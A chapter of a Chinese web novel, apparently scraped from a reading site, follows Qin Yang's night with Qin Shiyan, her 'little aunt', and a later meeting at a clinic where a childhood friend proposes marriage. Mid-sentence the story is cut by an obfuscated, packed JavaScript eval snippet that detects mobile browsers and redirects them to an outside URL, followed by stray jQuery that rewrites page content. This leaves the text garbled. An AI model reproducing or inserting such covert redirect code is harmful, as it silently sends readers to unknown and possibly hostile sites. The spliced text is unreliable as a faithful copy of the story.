卧房里的空调温度有些低。
月亮透过窗帘,洒在地上,落了浅浅一层的淡色光晕。
秦央凉凉扫过去一眼,抬手的功夫,调高了空调温度,她缓步走过去,“你的毯子能分我一半吗?”
她抬手撩着长发,慢条斯理地扯了床上的毯子,顺势钻进去。
毯子下方热气流动,钻入肌肤里,让秦央皱了皱眉,夜灯下的光影若隐若现,随着她躺下,散漫慵懒的影子消失了。
两人并肩躺着,同样的动作,同步的呼吸。
夜灯的光不算刺眼,足以让人看清身边人的轮廓,秦央目光凝在身侧女人的身上,轮廓似削,单薄如纸片。
下一息,秦央握住她的手,五指钻入指缝里,与之十指紧扣。
秦时砚迟疑了下,眼前的阴影靠近,柔软的丝质睡裙如一阵风般吹了过来,秦央的长发拂过她的鼻尖,有些痒,浑身起了酥麻感。
那张昳丽的脸颊映入眼帘,白皙柔美的皮肤镀上了一层晦暗不明的光。
秦时砚的视线染上几分迷蒙,在她惊颤的视线下,秦央修长的指尖拂开她鬓角的碎发,毫不犹豫地吻上她的耳垂。
今天早上喊着分手,晚上就对她动手动脚?
她是不是被情欲控制着脑子?
秦时砚略分神,耳后微疼,她提醒面前的秦小姐:“你早上说分手。”
“你不是在等我?”秦央在她注视下慢慢地弯了弯唇角,刚刚躺得那么笔直,清冷中带着紧张,不是诱惑她是什么?
秦时砚无端蹙眉,很对,秦央的呼吸欺近,唇角贴在她的侧脸上,轻轻摩挲,“我以为小姑姑在等我。”
一句‘小姑姑’让两人间的关系进入了雷霆之中。
秦时砚顿愕,那股炙热的呼吸停了下来,你情我愿的事情。
一丝恍然在她清透的眸子里浮现,很快,又被情.欲取代。唇下的肌肤浮现几分热意,让秦时砚倍感羞耻,不得不提醒秦央:“你已经不是秦家的人了。”
秦央微眯了眼睛,眸底闪过一层冷意,低头咬在她锁骨的肌肤上,疼得她一颤。
“秦央,你不是小孩子了,别乱咬人。”秦时砚的呼吸略显粗重,让逼仄的卧房里显得更为旖旎。
秦央闭上眼睛,努力不去想那夜的事情,抛开尊严与羞耻,扣住她的手,将两人的距离拉近,重复一句:“我以为小姑姑今夜在等我。”
再度睁开眼时,秦时砚一双眸子漾着水泽,雾气弥漫,看不清情绪,原本放在一侧的手,轻轻地环过她的脖颈。
昏暗中,秦央感觉到她的骄傲在一点点流失,不免又说一句:“你就是在等我。”
柔软的唇停在了秦时砚微张的唇上,将两人的距离再度拉近。
不同于书房里的热吻,秦央肆意掠夺她口中呼吸,由眉眼至唇,再落至胸.前。
凌乱的睡衣不知何时起滑落在地板上,安安静静地躺在那里。
今夜并没有昨夜的雷雨,闷热的夜晚,让人看不到尽头。
掌心的流火,滑落至崖底,小声的吐息,被空调的声音吞没了。
拥紧的身体上如同拂过一片羽毛,让人心痒。眼波流转间,秦央笑话一声:“秦时砚,你腿抖什么?”
“闭嘴。”秦时砚依旧还有几分气势。
她努力去摸索秦央不安分的手指,好不容易摸索到,对方反抓住她的手,扣在头顶。
她睁开眼睛,凝着秦央一双漆黑的眼眸,流动的灯光落在对方的眼底上,将那抹阴影覆盖。
薄唇再度抵上来时,空气中掀起热浪,莫名热意涌上来。
果然,空调温度不应该调高。
热了。
在她想不要去支配秦央去调温度时候,一股冷风嗡嗡而来,秦央调低温度。
莫名又觉得冷,她伸手勾住秦央的肩膀,将人拉近,贴着她身上的肌肤。
后面的事情记不大清了。
但她一早醒来,家里已没有人了,手机里有秦央发来的短信。
【奶奶让我去一趟。】
‘奶奶’是秦央养父的母亲周瑶意,早年与秦父早就离婚,自己开了一间中医诊所。这些年来,央央得空便去看看她,也是她最先发现秦央被抱错的人。
发现后,她没有惊动人,而是最先找到秦时砚,让她去做DNA。
周瑶意没有通知儿子,为是就是怕迁怒到秦央。
秦时砚按灭了手机屏幕,闭眼又睡了会儿,昨夜睡得太晚了,好像是三四点才睡的。
在她睡回笼觉的时候,秦央来到周瑶意的诊所。
周瑶意正在接诊,让她自己先坐会,自己接诊后就来找她。
她推开门办公室的门,里面还坐了一个人。
秦央出门时换了牛仔T恤,长发简单扎成马尾,清爽干净,雪白的肌肤透着几分乖巧感。她看着陌生的朋友,对方也看着她。
陈清仪跟着站起身,身上玉兰色长裙逶迤落地,遮掩住脚踝,翩然优雅,笑容清雅,“央央。”
“你约我的?”秦央瞬息就明白了,也没有及时退缩,而是爽快地走进去,“你找我有事?”
“我刚回来。”陈清仪抬了抬自己的无框眼镜,笑容勉强,“我听说了你的事情。”
陈家与秦家是合作上的伙伴,两家来往很多年,陈家家境简单,家里还有一个哥哥,她算是众星捧月长大的。
秦央疑惑,陈清仪开门见山,“今年年初的时候,你母亲提议陈家秦家联姻,我说我想和你结婚,你母亲答应了。”
“我不知道这件事。”秦央否决了,毕竟她现在也不是秦家的女儿了。
陈清仪举止稳重,抬手指了指面前的沙发,“坐下。”
两人也算是一道长大的,陈卿仪的情况与秦央不同,秦央不需要肩负家族的希望,她则不同,她哥哥不喜欢做生意,所以,她接手了家族生意,国内国外两头跑。
秦央坐了下来,她也跟着落座,长裙优雅的起伏,整个人翩然雅致,昳丽多姿,可一举一动透着沉稳。
“我上个星期回来的,才知道你的事情。秦央,我很抱歉我没有在你的身边。”
她的愧疚溢于言表,逗得秦央笑了,“你在又怎么样,我还是会离开秦家的。”
“不,我至少可以帮你,央央。”陈清仪略显局促,“秦央,剧团
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15358677|168045||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的事情也知道了……”
“清仪,这和你没有关系,我会自己解决的。”秦央正色对方,与那道含笑视线对上,对方脸色微红。
陈清仪姿态端正,肩背笔直不说,双膝并拢,对上秦央清明的眸子,“秦央,陈家秦家的婚事可以继续的。”
秦央故意曲解她的意思,面上噙着淡笑,“对,秦家还有很多好看的女孩。”
“不不不,我的意思是和你。”陈清仪黑眸上染上几分认真,指尖轻轻捏着,“央央,我想和你结婚,你觉得呢?”
秦央听着突如其来的表白,唇上浮现优雅的笑,看着陈清仪脚畔服帖垂下的裙摆,眼前浮现屈辱的一幕。
那晚裴云霁指着她骂害人精……
她抬起头,笑容婉然,道:“我不想。”
“为什么?我们一起长大的,知根知底。”陈卿仪不可置信地看着秦央,“我以为我们很合适的。”
“哪里合适,你是学霸,我是学渣,我的成绩是我小姑姑拿着棍子逼出来的。”秦央小声提醒她。
从小到大,她都是跟着秦时砚后面跑,秦时砚是不学习就可以考满分的学霸,她则是不学无术的小跟班。
在她成绩倒数的时候,陈清仪出去拿奖回来,所以,她和她不是一路人。
她的声音软软的,听去了,像是撒娇,让陈清仪眼中闪着不甘。
这时,办公室的门被推开,周瑶意领着客人进来。
客人正是秦时砚。
秦时砚目光略过秦央,落在了陈清仪身上,目光聚在她的五官上,“陈总,你怎么在这里?”
“她身体不好,来找我的。”周意瑶笑呵呵地说着谎言,目光落在秦央身上,上前招呼她近前,“你好久没来了,我来给你把把脉,年轻人要懂得爱护身体。”
老人家和蔼可亲,尾音拖长,似有什么深意。
办公室里涌着中药的味道,衬得周瑶意如同得道老者,兼之她温和的语气,让人生起亲切感。
周瑶意在办公桌后面坐下来,指着前面的座位:“让我看看你近日乖不乖。”
秦央生起拒绝的心,一把脉,什么秘密都没有了。她微一皱眉,本想跑,秦时砚走过来,牵着她的手,压着她在周瑶意面前坐下。
“那个、我挺好的。”秦央清了清嗓子,想要将手收回来,可周瑶意已探上脉搏了。
周意瑶眯了眯眼睛,笑容亲切极了,三秒后,她笑不出来了。
秦央生无可恋地低下头。
“央央,谈男朋友了吗?”
果然,没什么事可以瞒得过老中医,秦央摇摇头,没有谈男朋友。
周瑶意抬头,瞅见央央肩膀上搭着的手,骨节修长匀称,美则美矣,她又问道:“央央,那你谈女朋友了吗?”
她的话问完,陈清仪震惊极了,嘴角微张:“周奶奶,她没有谈女朋友。”
秦时砚扫过她一眼,优雅地笑了。
“央央啊,刚谈吗?”
“什么意思?”陈清仪成了嘴替,什么叫‘刚谈吗?’
周意瑶余光瞥过陈清仪,语重心长地与央央说:“央央,刚谈的话,不要那么急。”